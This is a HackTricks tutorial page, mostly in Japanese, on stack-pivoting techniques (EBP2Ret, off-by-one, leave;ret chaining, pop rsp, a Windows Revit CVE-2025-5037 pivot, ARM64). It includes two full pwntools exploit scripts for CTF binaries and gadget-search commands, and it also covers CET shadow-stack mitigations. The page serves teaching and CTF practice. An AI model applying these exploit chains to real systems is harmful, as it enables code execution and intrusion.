Stack Pivoting
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Basic Information
このテクニックは、フレームポインタと leave; ret 命令シーケンスの慎重な使用を通じて、複数の関数の実行を連鎖させるために Base Pointer (EBP/RBP) を操作する能力を悪用します。
補足として、x86/x86-64では leave は次と等価です:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
そして保存された EBP/RBP は保存された EIP/RIP の前にスタック上にあるため、スタックを制御することでそれを操作できます。
注意
- 64-bit 環境では EBP→RBP、ESP→RSP に置き換えてください。意味は同じです。
- 一部のコンパイラはフレームポインタを省略します(“EBP might not be used” を参照)。その場合、
leaveが存在しない可能性があり、この手法は機能しません。
EBP2Ret
この手法は、保存された EBP/RBP を変更できるが EIP/RIP を直接変更する方法がない 場合に特に有用です。関数のエピローグの挙動を利用します。
もし fvuln の実行中に、スタック上にシェルコードや ROP チェーンのアドレスがあるメモリ領域を指す fake EBP を挿入できれば(pop を考慮して amd64 では +8 バイト、x86 では +4 バイト)、間接的に RIP を制御できます。関数がリターンすると、leave は RSP を作成した場所に設定し、続く pop rbp によって RSP が減少して、結果的にそこに攻撃者が置いたアドレスを指すようになります。その後 ret がそのアドレスを使います。
ここで注意すべきは、2つのアドレスを知る必要があることです: ESP/RSP が移動する先のアドレス、そして ret が取り出すそのアドレスに格納されている値です。
Exploit Construction
まず、任意のデータ/アドレスを書き込めるアドレスを把握する必要があります。RSP はここを指し、最初の ret を消費します。
次に、実行を移すために ret が使うアドレスを選びます。使える候補は:
- 有効な ONE_GADGET のアドレス。
system()のアドレスと適切なリターン/引数(x86 では:retのターゲット =&system、その後 4 バイトのジャンク、次に&"/bin/sh")。jmp esp;ガジェットのアドレス(ret2esp)に続けてインラインシェルコード。- 書き込み可能なメモリ上に配置した ROP チェーン。
制御領域内のこれらのアドレスの前には、leave による pop ebp/rbp のためのスペース(amd64 で 8B、x86 で 4B)があることを忘れないでください。これらのバイトを利用して 2つ目の fake EBP を設定し、最初の呼び出しが戻った後も制御を維持できます。
Off-By-One Exploit
保存された EBP/RBP の下位バイトのみを変更できる 場合に使われるバリアントがあります。その場合、ret でジャンプするアドレスを格納するメモリ位置は、1バイトの上書きでリダイレクトできるように元の EBP/RBP と最初の3バイト/5バイトを共有している必要があります。通常は下位バイト(オフセット 0x00)を増やして、近傍のページやアラインされた領域内で可能な限り遠くにジャンプします。
また、スタックに RET sled を置き、末尾に本物の ROP チェーンを配置することで、新しい RSP がスレッド内を指して最終的な ROP チェーンが実行される確率を高めることもよく行われます。
EBP Chaining
スタックの保存された EBP スロットに制御可能なアドレスを置き、EIP/RIP に leave; ret ガジェットを置くことで、ESP/RSP を攻撃者が制御するアドレスへ移動させることが可能です。
今や RSP は制御され、次の命令は ret です。制御されたメモリには次のようなものを配置します:
&(next fake EBP)->leaveのpop ebp/rbpによってロードされる。&system()->retによって呼び出される。&(leave;ret)->systemが終わると RSP を次の fake EBP に移動して継続する。&("/bin/sh")->systemの引数。
このようにして複数の fake EBP を連鎖させ、プログラムのフローを制御することができます。
これは ret2lib に似ていますが、より複雑でエッジケースでのみ有用です。
Moreover, here you have an example of a challenge that uses this technique with a stack leak to call a winning function. This is the final payload from the page:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 アラインメントのヒント: System V ABI は call sites で 16 バイトのスタックアラインメントを要求します。チェーンが
systemのような関数を呼ぶ場合、アラインメントを維持しmovapsによるクラッシュを避けるために、呼び出しの前にアラインメントガジェット(例:ret、またはsub rsp, 8 ; ret)を追加してください。
EBP might not be used
As explained in this post, if a binary is compiled with some optimizations or with frame-pointer omission, the EBP/RBP never controls ESP/RSP. Therefore, any exploit working by controlling EBP/RBP will fail because the prologue/epilogue doesn’t restore from the frame pointer.
- Not optimized / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 最適化済み / フレームポインタ省略:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64ではleave ; retの代わりにpop rbp ; retがよく見られますが、frame pointerが完全に省略されている場合はピボットできるrbpベースのepilogueは存在しません。
Other ways to control RSP
pop rsp gadget
In this page この手法を使った例を確認できます。
そのチャレンジでは2つの特定の引数で関数を呼び出す必要があり、pop rsp gadgetがあり、leak from the stackがありました:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp の手法はここで確認してください:
pivot gadgets を素早く見つける
お好みの gadget finder を使って、古典的な pivot primitives を検索してください:
leave ; retを関数やライブラリで探すpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(x86 ではadd esp, <imm> ; ret)
例:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
多くの CTFs/exploits で使われる堅牢な pivot 戦略:
- 小さな初期オーバーフローを使い、
read/recvを大きな書込み可能領域(例:.bss, heap, または mapped RW memory)に呼び出して、そこに完全な ROP チェインを配置する。 - その領域に RSP を移動するために、pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret) にリターンする。 - ステージされたチェインを続ける(例: leak libc、
mprotectを呼び出し、readで shellcode を読み込み、それにジャンプする)。
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
クライアント側のパーサは、攻撃者が制御するオブジェクトフィールドから派生した関数ポインタを間接的に呼び出す destructor loops を実装していることがある。各反復でちょうど一回の間接呼び出し(“one-gadget” machine)しか行われない場合、これを信頼できる stack pivot と ROP エントリに変換できる。
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- 型
AStringの細工されたオブジェクトは、オフセット0に攻撃者バイトへのポインタを置く。 - The destructor loop effectively executes one gadget per object:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
二つの実用的なピボット:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” が
8B E0→mov esp, eaxを含み、最終的にretを実行して、call primitive から heap-based ROP chain へピボットする。 - Windows 11 (full 64-bit addrs): 2つのオブジェクトを使って constrained weird-machine pivot を駆動する:
- Gadget 1:
push rax ; pop rbp ; ret(元の rax を rbp に移す) - Gadget 2:
leave ; ... ; ret(mov rsp, rbp ; pop rbp ; retになる)、これにより最初のオブジェクトのバッファにピボットし、そこで conventional ROP chain が続く。
- Gadget 1:
ピボット後の Windows x64 に関するヒント:
- 0x20バイトの shadow space を尊重し、
callサイトの前で 16バイト境界を維持する。リテラルをリターンアドレスの上に置き、lea rcx, [rsp+0x20] ; call raxのようなガジェットに続けてpop rax ; retを使うと、制御フローを壊さずにスタック上のアドレスを渡せることが多い。 - Non-ASLR helper modules(存在する場合)は安定したガジェットプールや
LoadLibraryW/GetProcAddressのようなインポートを提供し、ucrtbase!systemのようなターゲットを動的に解決できる。 - writable thunk を介して欠如しているガジェットを作る方法: 有望なシーケンスが writable function pointer を介した
callで終わる場合(例: DLL import thunk や .data 内の関数ポインタ)、そのポインタを書き換えてpop rax ; retのような無害な一段ステップにする。するとそのシーケンスはretで終わるかのように振る舞い(例:mov rdx, rsi ; mov rcx, rdi ; ret)、他のレジスタを壊さずに Windows x64 の引数レジスタをロードするのに極めて有用になる。
完全なチェーン構築とガジェット例は以下の参照を参照してください。
stack pivoting を破る現代の緩和策 (CET/Shadow Stack)
最近の x86 CPU と OS は CET Shadow Stack (SHSTK) をますます導入している。SHSTK が有効だと、ret は通常のスタック上の戻り先アドレスをハードウェア保護された shadow stack と比較し、不一致があれば Control-Protection fault を発生させてプロセスを終了させる。したがって、EBP2Ret/leave;ret ベースのピボットのような技法は、ピボットされたスタックから最初の ret が実行された時点でクラッシュする。
- For background and deeper details see:
- Linux でのクイックチェック:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
ラボ/CTF向けメモ:
-
一部の最新ディストリビューションでは、ハードウェアとglibcのサポートがある場合に CET 対応バイナリ向けに SHSTK を有効にします。VMでの制御されたテストでは、カーネルブートパラメータ
nousershstkでシステム全体を無効化するか、起動時に glibc の tunables を使って選択的に有効化できます(参照を参照)。本番ターゲットで緩和策を無効化しないでください。 -
JOP/COOP や SROP ベースの手法は一部のターゲットでまだ有効な場合がありますが、SHSTK は特に
retベースのピボットを破壊します。 -
Windows メモ: Windows 10+ は user-mode を、Windows 11 は shadow stacks 上に構築された kernel-mode の “Hardware-enforced Stack Protection” を公開します。CET 対応プロセスは
retによるスタックピボット/ROP を防ぎます; 開発者は CETCOMPAT や関連ポリシーでオプトインします(参照)。
ARM64
In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64 でスタックピボットに類似したことを行う方法は、まず
SPを制御できること(あるレジスタの値をSPに渡せることによる、あるいは何らかの理由でSPがスタックからアドレスを取っており overflow がある等)であり、その後 epilogue を悪用して 制御されたSPからx30レジスタをロードし、RETでそこに戻ることです。
Also in the following page you can see the equivalent of Ret2esp in ARM64:
参考
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64ビット、off-by-one のエクスプロイトで、ret sled で始まる ROP チェーン
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64ビット、relro/ canary/ nx/ pie なし。プログラムはスタックまたは pie の leak を与え、qword の WWW を許可する。まずスタックの leak を取得し、WWW を使って戻って pie の leak を得る。次に WWW を使って
.fini_arrayエントリを悪用した永続ループを作成し__libc_csu_finiを呼ぶ(詳しくはこちら)。この「永続的」な書き込みを悪用して .bss に ROP チェーンを書き込み、最終的に RBP でピボットして呼び出す。 - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK、
nousershstk、/proc/$PID/statusフラグ、arch_prctl経由での有効化に関する詳細。 https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


